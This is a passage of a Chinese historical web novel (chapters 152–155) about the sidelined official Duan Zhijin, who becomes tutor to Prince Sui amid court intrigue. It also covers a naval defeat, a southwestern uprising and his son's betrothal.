是啊,按理说不应该是这样的,段之缙如何也想不通,唯有一种可能,也是段之缙最害怕的可能,西洋人已经同倭人牵连上了,这一仗不仅仅是劫掠,更是试探,倭人使用的武器是西洋人提供的。 但幸好,倭人没有钢铁船,也没有蒸汽船,看来技术还没有跳跃到这种程度。 “河田府海战具体的战报还没有送来。锁儿,现在一切都是瞬息万变,我为什么强逼着你们和白瑞恩先生学洋文也是预备着这一天,若你有两分志气,也有两分胆量,愿意远渡重洋到域外去,那一定要准备科举考试,因为送你们出去的事情只有朝廷能做到,他们也只会从进士中选人外派。” 十几岁的段诠难免有些害怕,问道:“父亲,我……我一定要去吗?” 段之缙反应过来似乎操之过急:“若你不想去那便不去,你得知道,自始至终我就没指望着你成才。所以,就算到最后你要写话本子去,父亲也支持你。” 这话不好听,说得段诠心里有些不是滋味,但他也明白父亲的意思,沉默着点点头。 翌日,段诠难免有些神思不定,去了尚书房后大家也都避着他。 不仅是他素来刁钻,也有段之缙赋闲在家的缘故。 唐雅源看着他心不在焉的样子好奇,凑过去问道:“咋了?是因着段中堂的事儿吗?” 段诠苦笑:“哪还有段中堂啊?” “真是啊?” “那倒不是这个原因。唉,不想和你说。” 气得唐雅源捶了他一下,在门口和焕儿依依惜别好长时间的纪明瑚终于进来,招呼唐雅源道:“走了,席师傅等着了。” 第152章 152前边走着两个人,后边…… 前边走着两个人,后边跟着一圈的伴读、太监,一群人乌泱泱往后头堂屋去,走在路上,纪明瑚问唐雅源:“方才和段诠说什么呢?” “我瞧着他不太高兴地样子,就去问问,结果他装那个锯嘴葫芦,一句话都不说。” 纪明瑚哼笑:“明年他爹就要来尚书房教我读书了,他能不愁得慌吗?” “啊?”唐雅源脚下一个踉跄差点跌倒,“怎么叫段之缙来尚书房?皇上未免也太想一出是一出了。” “我求得呗。” 留下这么一句话,堂屋的大门也就在眼前,纪明瑚领人进去,把唐雅源留在身后摸不着头脑。 堂屋内席翱果然已经等着了,见这一群人来先用戒尺指向西洋挂钟,恰恰好迟到了一点,那指针偏出去一个针尖大小。 大家也是很熟悉席师傅的规矩了,心中难免抱怨绥王磨蹭,但还是排队站好,一人领一下戒尺。 席翱素来不讲情面,闲杂人等领一下,罪魁祸首打三下,眼见着纪明瑚的左手高高胀起来,痛得他不太敢抓握。 唐雅源领了一下后照例给纪明瑚涂药,嘴里又嘟嘟囔囔道:“怎么越打越狠了,哪把我们王爷当主子待啊……” “你说什么!” 唐雅源被席翱一声询问吓得汗毛倒竖,赶紧回道:“学生没说什么!” 席翱板着脸也不和他计较,反而问纪明瑚:“吩咐你的事情办成了没有?” “回席师傅,父皇已经答应了。” 席翱板正的脸上才浮出一丝笑意:“很好,等着段大人来了,你要拿出十分的态度学习他传授的知识。” 纪明瑚伸展一下刺痛的手心,仍是有些不解:“师傅,我不太明白,经史子集有您和其余的师傅们教授还不够吗?为何一定要我求父皇,让段之缙来授课?” “所以不叫他来传授经史子集……至于教什么,到时候我会同他商议。”席翱从唐雅源手中拿过药膏,细致地在纪明瑚手心中涂了一层:“还请殿下放心,臣教导殿下虽只有十余年,但臣一生的心血都倾注在殿下身上了。所以,为了保证殿下能够一心向学,等着段大人来授书的时候,臣也会在旁边坐着。” 纪明瑚颔首,唐雅源禁不住打了一个寒颤,又被席师傅瞪了一眼,只得缩缩脑袋装听话的孩子,等着上课。 那边段之缙终于放了“长假”还有些不适应,早上仍是寅正时分起床,这时候除了两只老猫和捣窝的耗子起了,其他人都沉在梦乡里。 段之缙躺也躺不住,跑到库房里找出来个鱼竿,又跑到池塘边用石头砸开冰封的水面,干巴馒头碾碎了就往里洒,而后一杆抛下去,什么也没钓上来。 不过他也不急,就是迎风坐着,本就粗糙的脸很快起皲,刺啦啦的有些痛,但也不知他在想什么,如老僧入定一般动也不动。 身边只有王章陪着他,一直到沈白蘋出来,笑他闲得没事儿不睡觉,大冷天的做什么惆怅姿态。 段之缙拿着鱼竿苦笑:“明年锁儿都要成亲了,临了给我来这么一遭,我怕邹家对亲事不满意,尤其是那个女孩儿,担心她心里有想法。” 还不等沈白蘋说话,王虞叫嬷嬷扶着也来到了池塘边,没好气地嗔一句:“他们有什么不愿意的,那女孩儿大了我们锁儿三岁,都二十多了本就不相配,若不是顾念着两家情谊,邹文官至尚书,我是绝对不会准的。” 段之缙摸摸鼻子:“话不是那么说的,当初定亲的时候我还任着军机大臣和内阁学士,现在这些差事全都卸下去了,还是待罪之身,人家反悔也实属常理。” “怎么这是圣上定下的亲事,难道他们还能退亲?” 一开始邹文求一求倒真能把亲事退了,毕竟这也是人之常情,朝廷重臣怎能和待罪之家定亲?但是皇帝的一句话,叫段之缙回去准备亲事才把婚事彻底定死,再没有转圜的余地。 王虞心中烦躁:“断不会委屈云旗,咱们把聘礼翻一番去,嫁妆我也给她认着,叫她风风光光地进门。” 段之缙叹一口气,把鱼竿抛给王章:“多谢母亲操持。”但也不知小两口过起日子来如何。 自此之后,段之缙没事儿就往邹家送东西去,指望着“乱花迷人眼”,能够叫邹家人心里舒坦些。 此外他也没有旁的事情,跟着沈白蘋到处转悠,白瑞恩的授课时间也拉长了足足两倍,倒真跟回到学堂了一般。 段之缙自己的学习还是以外文为主,段之绪却主要学习洋人计算的方法,原因无他,他做督瓷官少不得要计算指导,洋人能提供更多更快还更精确的计算方式。 现在看看段之绪,脸色黢黑,完全是一副工匠的样子,拿着图纸和白瑞恩请教,段之缙凑上去看。 这是一个风箱的图纸,他们想要通过更加准确的计算控制进风量,以达到控制温度的目的。 算了一顿,段之绪满意地收起图纸准备回去歇着,段之缙忽而问道: “现在风箱还是用人力拉吗?” “还能做些简单的装置帮着人拉,也能叫牲口替代人力。”说到这里他难免抱怨起来:“真是难为死人,之前两口通商,一天就要运出去不少的瓷器,景德镇的瓷窑都烧塌了好几个,现在正想法子扩大。皇上又要弄什么新颜色,要玫红带闪,像磨亮的铁那般闪,打算叫我们往岭南去,在那里建新的窑厂。” 现在河田府暂时关了倒还叫他庆幸些,要不然全都累死也完不成上头派下来的任务。 段之缙的注意力却在“简单的装置”上,不由得好奇:“是什么样东西能帮着人拉?” “嗨,也不是什么复杂的玩意儿,冬天不是刮大风吗?我们制造出来一个像帆一般的玩意儿,然后安到风箱上,只要刮风就能拉动风箱。不过不是很好用,只是能叫人省些力气。” 段之缙忽得想起了蒸汽机,现在的瓷窑可是说是整个天下最大的工场,淮宁的纺织工场不及他们的十分之一,若真的有可能在国内制造机器,最有动力的地方就是景德镇瓷窑,但最有技术的地方当属京中的御窑。 他想着启发一下,说不定能行,又不想叫这个传教士听见,于是拉着段之绪出去说:“弟弟,你有没有发现,水烧开变成汽之后,是有一股力的,就拿我们烧水来说,壶盖总是能被水汽顶开,你说能不能想法子,弄些小装置用他们来代替人力、畜力。” 段之绪只应付着点点头,毕竟二哥也不是造瓷的工匠,很多话也不过是想到什么说什么。 年底这些日子过得很快,河田府战报也在年前赶到,倭寇果然是用了威力更大、射程更远的火炮,朝廷这边的水军并非毫无反抗之力,也炸了他们的一条船,搜罗到了一些没使用的炮弹,但是掰开一看,里边的颗粒状的东西黑乎乎一片,啥也认不得。 本以为是什么好东西,接货老师傅点燃火药颗粒之后,他们用的火药还不如朝廷现在的火药威力大燃烧快。 看来不是火药的原因,而是发射装置更先进,可惜将沉水的火炮打捞拆开后,炮匠们一头雾水,压根不知如何制造。 段之缙这时候才真正庆幸起来地大物博、陆军优越的好处,水战不行,步兵们还能抵挡一阵,只要能够按部就班地重建水师、发展火器,这么大的国家能拖得起。 但现在最难的事情就是重建水师,段之缙跑到郑家去打探消息,据郑楒琅透露,因为淮宁水师大败,被打得如同丧家之犬,朝廷的官员对于重建水师的意愿已经很低了。 “你得知道,朝廷已经掏了不下千万两白银,一千万两,干什么不好?何况今年赤砂雪灾,西南苗乱都还没有解决,西南连战报都没送来。” 郑楒琅给他满上茶:“现在力主重建水师的人仅有两个。” 段之缙端茶的动作一顿:“谁?” “长乐王和绥王。如我这般是犹豫着的,如兵部那般是坚决反对的。” 段之缙陷入沉思,怎么会是他俩? “按长乐王的性格,他主张重建水师不足为奇,毕竟最记仇的一个人,叫人打了怎么着也要打回去。绥王嘛,许是年轻气盛吧。” 段之缙看着小口啜茶的郑楒琅问道:“你怎么犹豫起来?” “我?我当然犹豫,我和邹文两个人眼睁睁看着白花花的银子打了水漂,河田府收上来的商税又要拿出去重建河田府,我俩如何能不犹豫?水师一定要重建,但最近银子实在是不够用,一千万两,怎么着都要攒几年,且黄河大堤的事情梗在前头,事情总要一项一项地做。” 段之缙看着他澄明的眼睛,如何能将自己内心的担忧说出来?悔不学习理工科,要不然能手搓蒸汽机,又哪里有如今的烦忧? 临走时郑楒琅又叮嘱他:“长乐王那边儿你别担心,我弄到了好东西等着正月里你挑时候给他送去,好好同他赔不是,他消了气也就好了。” “我赔不是?我何错之有啊?” 郑楒琅把“好东西”往他马车上送,一边挤眉弄眼:“你跟这些人讲理呢,这些人有讲理的吗?” 那倒也是…… “好吧,多一事不如少一事,你同我一起吗?” 郑楒琅上次刚顶了人家本不想去吃闭门羹,但估计着现在不吃闭门羹,以后有的是委屈吃,最后答应下来。 第153章 153正月里总是大宴,因而…… 正月里总是大宴,因而去长乐王府的时间也不好找,最后段之缙和郑楒琅决定临开笔当差前一天去拜访。 马车上段之缙把木匣子打开,看清是什么后砰的一声合上,震惊道:“你疯了!这可是严令销毁的前朝禁书,你从哪儿得的?” “你管呢,我只知道长乐王找这本书找了几年,今日我给他送去,他该念我的好。” 段之缙劝不了他,急匆匆打开他为自己准备的木匣一看,猛拍脑门气道:“你到底从哪儿得来这么多的禁书?” “之前不是抄了三川总督家吗,从他那搜罗出来的。其他的禁书也有,只不过前朝望月生的最难得,我就拿走了。” “你们吃回扣这么理所当然?” 郑楒琅笑道:“这些东西都是销毁的命,我不拿平白化作一摊灰烬才是可惜。消停会吧,等会少不得先吃一碗闭门羹。” 果然不出所料地吃了闭门羹。 两个人既不敢走,也不敢上马车避风,只能当风站着,郑楒琅拢拢外边披着的大毛衣裳,上前和门房叙旧,顺便打听打听王爷的事情。 他捅咕一下段之缙,手一伸,段之缙便心有灵犀地放上一个鼓鼓囊囊的荷包,郑楒琅进小屋和门房上的人说话。 “李老伯,最近怎么样?”打声招呼,把荷包塞给老伯:“天儿太冷,买口烧酒喝。” 李老伯拿过荷包掂量掂量,顿时笑眯了眼睛:“托郑老爷的福,小的好着呢。” “刚才袁明和你说的什么?” 袁明是长乐王身边的太监,刚才出来传话不叫这两人进去的就是他。 李老伯讪讪一笑:“嗨,就是不叫你们进去。” “他原话是怎么说的?” “这不好听啊……” 郑楒琅坦然道:“无妨,我做官的什么污言秽语没听过?” “呃……大体是些吃里扒外的话,说是冻死算老天开眼。” “唔……”郑楒琅想了想,长乐王似乎也不是很生气,又问段之缙要了个荷包揣到李老伯怀里:“麻烦您再去通报一声,就说我带了前朝望月生的孤本,是花了大力气找的。” “这……”李老伯看看怀里的荷包,一咬牙:“好吧。”转身又去通报。 此时长乐王正在看西洋来的观赏画,瞧了一顿没意思得很,不如国内大家的有意境,便叫人撤下去准备出去跑马,袁明又进来禀 报:“王爷,郑楒琅和段之缙两位大人在外求见。” 长乐王眉间一皱:“不是不见吗?怎么又来问?” “回王爷,郑楒琅说带了前朝望月生的孤本,是花了大力气找的。” 长乐王冷嗤一声:“还当是什么好东西,我这儿什么孤本……等会儿,望月生的……” 望月生说是前朝,实则是遗民,写了不少世情小说,其中几本因为影射当朝被禁,连他也只听过没看过。 长乐王一犹豫,越想越觉得可能性大,若非那本禁书,郑楒琅怎么敢以此为求见的理由。 他一向好藏书,此时禁不住心动起来,最后还是将马鞭挂了回去,吩咐道:“叫他俩进来吧。” 吹了半天冷风的二人终于得进,抱着手里的木匣赶紧进门。 郑楒琅司空见惯,毕竟是在这里做过长史,段之缙却好好打量了打量,暗暗称奇。 真是人比人气死人,这王府是两倍的亲王规制,里边亭台楼阁都是奉旨超规制的,堪称一句小紫禁城。 两个人一路进了长乐王的书房,王爷锐利的目光扫着他俩,朝着袁明一抬首,郑楒琅便将木匣献上。 袁明打开呈到王爷面前,长乐王翻看了几下眼睛一亮,又矜持地合上盖子。 他抿一口茶水冷嘲热讽道:“大忠臣,国家的柱石,朝廷的栋梁,你怎么弄这些玩意儿?这可是禁书。” “殿下,正是因为望月生写的是禁书,臣才不敢叫它流落在外,只有到不为外物所迷的地方去,禁书才能不危害旁人不是?” 长乐王斜着眼觑他,最后在贵妃榻上伸个懒腰,指示袁明把书放到书架上。 “你们两个今日巴巴地来请罪,怎么当初一个不肯放过我的儿,一个非要和我对着干?” 段之缙和郑楒琅两两对视,先答道:“非臣专要和王爷对着干,纪明所为实在是难以宽大处理。且今日祸是小,若往后再犯下大罪真触怒了陛下,那才是滔天大祸。因而早早没了世子的爵位,也难说是福是祸。” “那本王还要谢谢你了!” 长乐王腾得一下站起:“你以为你是谁?你以为你算什么东西?仗着有二分功劳,拿着我的儿成全你的美名?!” 他年纪虽和段之缙差不多,但身子属实不如常年在地头里晃荡的人,又染上了腿疾,这两年肺也不太好,便有些喘不上气,郑楒琅赶紧扶着他坐下,刚抚了两下后背便被一把推开。 “用不起你!” 郑楒琅没一丝难堪,凑到王爷耳边说了几句,长乐王瞬间平静了下来。 他狐疑道:“真的?” “千真万确。” “可是……”长乐王还是有些不相信。 郑楒琅保证道:“臣会操作的,臣什么时候跟王爷夸口过?” 长乐王火气也就消了:“成吧,今儿的书挺好,过去的也就都过去了,你俩用心办差,我不会故意为难你们。” 他言说自己还要出去跑马,叫这两人赶紧走。 在马车上,段之缙啧啧称奇:“你跟他说什么了?怎么一下子火气全消?” 郑楒琅头一回中午饭也没吃就被赶出来,只能拿马车上的凉饽饽、冷茶水对付一下,他咽下一口回道:“我跟他保证,等着时机到了会给纪明求一个爵位。” “给那杀才!你疯了!” 郑楒琅撇嘴一笑:“你真是离开皇上久了,这点儿门道都看不清了。纪明现在无爵,日后也要有爵位。陛下想要废立太子,国本动摇,宗室定然有怨言,稳定的法子不就那么两种吗?赐官,赐爵。” 他把手里的饽饽放下:“长乐王叫陛下和太后养的,本事自然是好,但也太记仇太天真了些。当初不知天高地厚,以为皇上会在有成人子嗣的情况下立皇太弟,后来又以为皇帝会爱屋及乌宽宥纪明……可他都当皇帝了,你怎能奢望着他顾念旧情?等着吧,若他仍是这副样子,恃宠生娇,皇帝渐老,定然容不得他。” 但郑楒琅却不能看着长乐王大厦倾塌,自己能够能有今天,可以说是长乐王硬生生拉上来的。 段之缙叹服:“你总是这么敏锐,总是能打听到消息,我真服了。” “你先别服,明天你去尚书房当差,可有授课的眉目了?” “说来也奇,我去绥王其他的师傅那问了,人家把经史子集排满了,哪还给我留了一星半点儿?叫我去干嘛啊。” 郑楒琅也觉得奇怪,只宽慰他明儿随机应变吧。 第二天去了,果然是无所事事,段之缙充了一天学生,和绥王一块儿上课,下午要带着锁儿走的时候,被席翱叫住,请他去家中做客。 席翱在绥王的师傅中为首,又是鼎鼎大名的直人,段之缙初来乍到少不得要听他安排,便叫仆从先送锁儿回去,自己则去了席翱家中。 一去,难免羞愧。 现在京官们领着双俸,皇子师又能领不少赏赐,但席翱仅住两进小院,前头是一片菜园子,现在天冷什么也没了。 家中只一老一少两个仆人,妻子倒是很康健,但并无子嗣。 席翱目不斜视,领着段之缙去了后边,老夫人准备了些清粥,又下厨房炒了一个白菜,这就是席翱请他吃的饭。 他清清嗓子:“你就算嫌弃,我家中也只有这些了。” “怎敢嫌弃,大人高风亮节全在粥中矣。只是现在京官的俸禄不低,大人何至于此?” “我家中统共四口人,吃这些就很好。钱生不带来死不带去,能让自己享受也能叫旁人活命,攒一攒捐给了育婴堂。” 他旁若无人地开始吃饭,夫人也在一旁用饭,除了夫妻俩说些话,席翱没看段之缙一眼,也不知叫他来做甚。 用过饭,段之缙帮着两夫妻收拾了桌子,席翱才带着他去书房。 也为难这样的小院子还能隔出来个书房。 席翱叫他坐下:“我这只有清水,没有好茶,段大人将就些吧。” “不敢,不知席师傅叫我来可是有什么吩咐?” “想和你说说教导绥王的事情。” 段之缙顿时来了精神:“我正巧想和席师傅商量此事。各位大人将书分得差不多了,可还有遗漏的内容能叫我教授?” 主要不能老闲着吃空饷。 “段大人,老夫请你来尚书房,不是教劳什子经史子集的。” 席翱请的?席翱吩咐绥王请的! 段之缙一时无语,试探起来:“席师傅高看我了,经史子集已经够叫人头疼的了,况且除了这个,我还能教什么呢?” 席翱捋一捋山羊胡子:“段大人,你不要跟老夫装,你不是吃老一套书的人,改土归流、火耗归公、摊丁入亩、开口通商……你和我们这些吃四书五经的人很不一样,读了十几年书,可圣贤书教导的东西没在你心里留下来一星半点儿的印记。” “你不说华夷大防,也不讲士农工商,说起来苗夷、赤砂、穹迦,仿佛他们本来就是雍朝人,出兵也像是收复了失地。你对待商人和士人是一样的,甚至鄙弃乡绅,对着他们不假辞色。我们这些所谓的清流一辈子求的名声你也不在乎,连带着你的儿子也不一样。你像是……” 席翱冥思苦想,灵机一动补充道:“像是码头抗大包的苦力,当差就是为了领俸禄找个活干,但又有些追求,要把这份差事做得尽善尽美。” 段之缙心中有一种难以言明的预感,果然席翱道:“我叫你来,是想让你给绥王重新讲经史子集,按照你本初的想法,把你真心认为的事情教给绥王。” 段之缙有些哆嗦地去碰茶碗,将要碰到时又把手收回:“席大人,若真要讲那些东西,可是杀头的罪过。” 何况他还记得吗?从这副身体十八岁,到如今四十多了,真还记得吗?他仿佛真的成为雍朝人了。 “那就不要讲杀头的东西。”他上前按住段之缙的肩膀,干巴老头力气还真不小。 席翱在 他身后幽幽道:“圣上命老夫为皇子师,起初老夫是不情愿的,你得知道这个小王爷在宗亲中也能说一句臭名昭著了,皇帝溺爱出来的,无非是另一个先帝的肃王。” 他话风突然一转:“但绥王那时才六岁,一开始很不受教,但叫老夫训斥一番竟然安静下去,老夫那个时候便知这个孩子不是不能教,是没人敢教。我没个一儿半女,说一句大不敬的,难免把他当成我的孩子,其名为师徒,情比父子。” 段之缙虚虚拢着杯子目瞪口呆,还有人占便宜占到纪禅身上,不过这时他也反应了过来:“您不只是想叫我教书,还想叫我助他一臂之力吧!” “没错!” 席翱见他听明白了也不遮遮掩掩:“这不仅是纪明瑚的前程,还是你的前程!若你不能把他教透,若他不能当皇上,什么摊丁入亩,什么开口通商,全成了一时烟火,你以为能长久吗?” 古来多少改革,全都人亡政息了。 段之缙脑中轰然作响,这正是他一直担心的事情。 第154章 154那日席翱的话叫段之缙…… 那日席翱的话叫段之缙耿耿于怀。 “毓秀、刘玳廷,又或是长乐王,再拿现在的这些新人说,例如苏橙、方叙墨、郑楒琅、宋征舆等等吧,他们有多少真正关心下头人的?纪明所犯之罪,圈禁、流放也不为过,但大家都为他求情,连着绥王也和长乐王勾连,想要获得王叔的支持。但是你我二人不一样,我想要王朝千秋万代,想要百姓安居乐业,你想要什么?” 段之缙躺在床上沉思。 新政、太子、纪明瑚…… 这几个词一直在他脑海中回荡,叫他夜不成寐,白天里也无暇管段诠,连七月份的婚事都难以上心。 终于,在听了半个月的经史子集,看着纪明瑚学了不少英文后,段之缙也许能够回答席翱的问题了。 他所求的,就是微小的个体不要因为统治者的愚昧而卷入漩涡,因此被滚滚洪流裹挟,直至粉身碎骨。 半个月之后,段之缙终于开始授第一堂课——华夷之辨。 他是空着两只手来的,甚至不叫纪明瑚拿书,也不要分尊卑,精挑细选的几个伴读全都围着他坐成一圈,段之缙开口问道:“诸位,先答这一问——何为夷?” 不管是什么问题,唐雅源都要低头的,但他低得太明显,反而叫段之缙注意到,点他的名字:“唐雅源,你来答一答吧。” 唐雅源一激灵,眼神游移:“呃……赤砂、穹迦、西南的百族……” “他们为何是夷人?” “因他们不是汉人啊!” 段之缙紧跟着问:“只要不是汉人就是夷民吗?舜、文王也是夷人吗?” “上古三代的贤王,怎么能用夷狄称之?” “可《孟子》中说,舜为东夷之人,文王为西夷之人……” 唐雅源讷讷不能答,绥王的另一个伴读道:“《礼记》中说过,中国戎夷,五方之民……不可推移。我雍朝四方边境该为夷人。” “那若我京都搬往辽河、赤砂、穹迦等地,我们就是蛮夷了吗?” 纪明瑚答道:“自然不是,段师傅,我知你要问什么了。诸侯用夷礼则夷之,进于中国则中国之。段师傅,我倒要问你,若赤砂人、穹迦人入中原,你也要奉他们为主吗?” “若他们能以华夏之礼治中原,以中国为名,以华夏自居,与我汉人,与各族百姓为一家,殿下,汉夷的区别又在哪里呢?若汉家的天子征伐无度,或聚敛无常,闹得民不聊生,百姓们怨声载道,殿下,汉夷的区别又在哪里呢?” 段之缙又道:“遍览史册,哪一个王朝都没做到众姓为一家,更别提爱民如子了。说到底不过是一家天下。呃……当今自然是前无古人的雄主,因而收复各族,聚百族于一国,皆以雍朝为名。” 这样的道理难吗?其实早在先秦便有,但似乎五胡乱华、金人侵宋之后,儒室们大讲华夷之辨,严边境之防,乃至当朝改土归流之后,仍有非我族类,其心必异的声音,似乎把他们当做敌人才能保得万世太平。 纪明瑚问道:“我朝对西南百族不可谓不厚,尤其是燧明,受恩深重。可去岁之苗乱,燧明竟为祸首,还不能说明夷人用心之险恶,不知感恩吗?” “殿下,若此次苗乱为官逼民反呢?若是此次暴乱的百姓为汉人呢?您也觉得他们是夷狄吗?我在西南十几年,改土归流后又行摊丁入亩,原先的土司们损失不可谓不重,可即便这样他们都没有造反,为何现在与朝廷对抗?” 段之缙看着纪明瑚的眼睛,郑重道:“我朝以前,他们四境之民固然可以称之为蛮夷、贼寇,但我朝已经将他们化为国内之民,设置州县官爵,怎能再以蛮夷称之?时移而事易了。便是用最简单的法子去思考,我们首要的敌人也不在内部,而是在外部,是东边的倭寇和那造不出来的火炮。” 纪明瑚低头沉思:“那商人呢?士农工商,他们不事生产,不理稼穑,为何要对他们如此优待?” “因为他们虽然不事生产,却能够把外边的白银集中进来。” “他们倾国之富,如果造反呢?” 段之缙失笑:“他们能起来,全靠着朝廷扶持,到现在为止仍然有要通过贿赂官员取得商引的商户。见官则如见父母,他们怎能造反?便是有不孝之子,可铁、火器等全都由朝廷掌控,他们凭借什么造反?若百姓们安居乐业,也不会跟他们造反。” 若说一开始,段之缙还以为这些商户能够如同英国那般,现在却不抱有什么信心了。原本就发育不良,被多番打压的商人,又被强行揠苗助长,一下子和洋商做上了生意,外边的白银如海潮一般涌入家中而命脉全牢牢掌握在朝廷手中,他们待朝廷真如待父母,畏惧,但又依赖。 这样的土地无论如何都不可能依靠商人们。 而正是因为他们不成气候,朝廷的官员虽百般不情愿,但开口通商也勉强做了下去。 “商人能带来很多的东西,他们为了利益是不择手段的,白银倒是其次的。如果能叫他们下海,许以重利,怕是什么都能偷着。” 纪明瑚沉思,而后抬头道:“怕是还要防着他们里通外国,这些人都是奔着一个利字去的,把我们雍朝囫囵卖了也不心疼。” “是……” 上午的课进行得极为顺利,纪明瑚头一回上此种课,纠纠缠缠地不肯放段之缙走,其他的学生都是席翱精挑细选的伴读,非迂腐之辈,也都缠上来问些西洋的事情。 最满意的人当属席翱,纪明瑚受教 越深,他便越高兴,越觉得能得圣主明君。 正当大家热火朝天的讨论之时,外头纪明瑚的太监粟禾子急匆匆禀报:“殿下,皇上传您和段大人去养心殿商议政事。” 这两个人哑然无声,而后急匆匆往养心殿赶,一路上段之缙问领路的粟禾子:“有说是什么事情吗?” “吕公公只催得急,没说是什么事。” 这么急?该不是西南的战报来了吧! 进了养心殿后,里边已经有了好些人,大家都垂首沉默不语,皇帝一副气昏了的样子,太子在身边照料,太医在开方。 段之缙领着纪明瑚请安,放轻脚步上前,小声问道:“陛下如何了?” 太子看一眼纪明瑚,回道:“父皇气急攻心,头痛眩晕,现在已经好多了。” 段之缙拿过药方验看一顿,果然是些平常舒缓的药物,这才放下心,等着皇帝平缓过来。 皇帝养神许久终于睁开了眼睛,见段之缙来了一偏头,示意把折子给他看。 正是西南的战报。 段之缙和绥王共览,原来是今年开山太过植被太疏,又连日暴雨,大雨小雨下了一个多月,土石滑动最终导致多地山洪爆发,本就因为绵绵雨水而收成不好的粮食直接绝收了。 这样的事情虽令人烦苦,但对于朝廷来说也有处理的经验,正常安置百姓、赈济灾民即可,但这一任的总督薛知承,因税没有收到定额,又因为生灾的地方多为夷部,便将田赋升了两番,比汉人之地赋税更高,还隐瞒了灾情。 朝廷没有发赈灾的钱粮,绝收之际又增加赋税,最终官逼民反,现在越反越多,即便没有造反,对朝廷也十分冷淡。 “这……陛下,还是安抚他们吧。” 皇帝到现在为止,脑子仍然嗡嗡响着,张口骂道:“薛知承是干什么吃的?他是任过总督的,他是任过总督的啊!” 有灾不赈,变相盘剥,非蠢即坏。 “陛下,薛知承的罪倒是可以之后再论,现在西南还僵持着,臣想是不是先解决这个事情。” 皇帝拿下额上的冰帕子随手扔给太子,吩咐道:“即刻从东南调钱粮入南诏赈灾抚民,至于作乱者……立刻剿灭!其部下既往不咎,祸首斩首示众,薛知承腰斩,就在西南施行。” 段之缙却打断了拟旨翰林的动作,“陛下,臣以为赈灾、惩处薛知承自然理所应当,但斩首祸首则是不妥。” “他们都造反了,斩首有何不妥?” “其造反缘故,归根到底是官逼民反,在一干百姓看来,他们的首领大概不是反贼,而是英雄,若杀了他们,即便是赦免余部,也并不会心悦诚服,个别意气用事者,说不得会闹什么报仇……” 难道还要心悦诚服吗?朝廷只想震慑谋反者,想要叫他们知道,就算是天上下刀子也不能造反,就算官员们拿着刀砍人也不能造反! 段之缙又道:“现在刚打春,上年的粮食还能余下多少?才出一月,春耕也还没有开始,兴师动众到底不好。再者将他们一体赦免,若能不战而降,既节省了兵力,也令他们感恩戴德,更显得圣主仁德昭昭。陛下,河田府损失不小,不宜在西南再兴战事了!” 邹文一合算,国库的收入减少,绝不能再兴战事,否则钱粮可就吃紧了,于是上前跟皇帝算账,皇帝一听什么雄心壮志也没有了,只想着省钱。 他深叹一口气:“罢罢罢!先招降,只要投降朕就当一切都没发生。” 而后君臣又议河田府之事,商量起什么时候再开口,自然反对者无数,认为在能够打败倭寇之前不应当开海,更有甚者,连岭南之一口也要封上。 此事商量到晚上也没有个结果,只能暂且作罢叫众人回去。 第155章 155出了养心殿的门,众人一脚踏进…… 出了养心殿的门,众人一脚踏进雪地里,冷得打了一个寒颤,纪明瑚身子忒弱,段之缙很是担心他骤冷骤热之下伤风,因而将自己的大毛氅披到了纪明瑚黑狐狸端罩外边,帽子也带好。 “赶快回去,喝些姜汤驱驱寒气,不要冻着了。” 纪明瑚点头道谢,皂靴踩在雪上嘎吱嘎吱响,声音渐渐远去。 邹文这个时候才凑上来和段之缙搭话,叹口气道:“真是,好好的怎么就这样了?” “这也是意料之中,到如今,朝中能有几人能将汉夷视为一体?只不过薛知承做的也太过了,便是腰斩也难解人心头之恨。” 邹文和他说了两句钱粮的事情,两人往宫门口走去,又商议起两家小辈的婚事。 邹文拍拍他的手:“允升弟弟,你不用总是送东西来,咱们两家的婚事是圣上定下来的,绝不更改。就算不是皇上定的,我也不会言而无信,叫我侄女失了贞操。” 段之缙笑笑,问一句:“我自然了解含章兄。”若不是皇帝一口咬死了,怕你就要来退婚了。 退婚,也没什么大不了,但段之缙不想叫段诠知道这些事情。父亲垮了台,连带自己的婚事也成泡影,因此才担心邹家、邹云旗不愿意。 “如今也快要打春了,离着婚期也就剩下五个月,大家要预备的都预备起来吧。” “自然。” 两个人寒暄起来有些虚情假意,宫门口互相告别登上马车,段之缙的笑一下子敛起,开始想得再准备些什么。 因为是圣上的赐婚,所以没有放小定的流程,二月打春之后,段家就用别的名义,将一对金制连枝双如意,一整套首饰,一匣子装有金银锞子和贵重宝石荷包和上等的绸缎送到了邹家。按理说该是邹云旗的嫡母来接,但因其父邹武无官无爵,这些小定的礼都是邹云旗的婶母接的。 受礼之后,段之缙将成婚的筹备进展递交给了内务府,内务府叫钦天监算了放大定的日子,安排在六月份,聘礼已经紧锣密鼓地准备齐全,整整齐齐地停放在一等公府的大堂内。直到前一天晚上,大家还在清点聘礼。 厚厚的一摞单子来回数了三四遍,沈白蘋累得倚靠在太师椅上,喜滋滋地抱怨道:“多亏了河田府又开口通商了,若不然,这么多的洋玩意儿叫我们上岭南去弄,就来不及收拾这么多了。” 原本想再弄一柄玉制的双如意,结果圣上还记挂着他们,赐下了一柄绿翡翠的连枝如意,通体不带一丝杂色,极为珍贵,也省下了他们的功夫。 此外,什么点翠的头面,累丝的发簪,金玉珠翠的佩环,也都不算什么。 最要紧的是礼金,包了整九万九千两,多是段诠的大舅公给的,要这一对新人长长久久这。 整鹅笼、整鱼笼也齐整,云锦、蜀锦、宋锦、缂丝和赐下的贡缎也齐备,虽超了规格,但这都是皇帝示意的,没人敢说“不”字。 喜饼、四色礼、文房四宝和四匹文马,不仅有本国的东西,西洋的女士怀表、各样的花卉,怀抱婴儿的圣母像和乱七八糟的洋布也堆了不少,就等着明日下聘。 第二天,皇帝亲下旨,由绥王纪明瑚来给这两人做大媒,内务府官员随行,段之绪、段訚这两个叔伯兄弟同行,下聘队伍从一等公府赤色大门前出发,浩浩荡荡地前往邹家。 杠夫抬着披红挂彩的礼盒、礼箱,装着活畜、酒坛的笼子,以及喜饼担子等。鼓乐仪仗紧紧相随,一路喜乐声不断,直到进入邹家。 邹家中门大开,邹文率自家的叔伯兄弟们在门前迎接,纪明瑚含笑带众人下马,念道:“圣天子在上,乾坤朗照,恩泽广被!” “今有一等公段公府上,簪缨世胄,勋业昭彰,累代忠勤,其公子段诠,器宇轩昂,弓马娴熟,文韬武略,实乃麟阁之选,瑚琏之器。” “贵府邹公,掌邦国财赋,股肱朝廷,清正廉明,海内共仰。府上大小姐邹云旗,金闺毓秀,兰蕙其芳,德容言工,四德咸备,诚乃天家赐婚之淑媛,名门毓秀之闺英。” 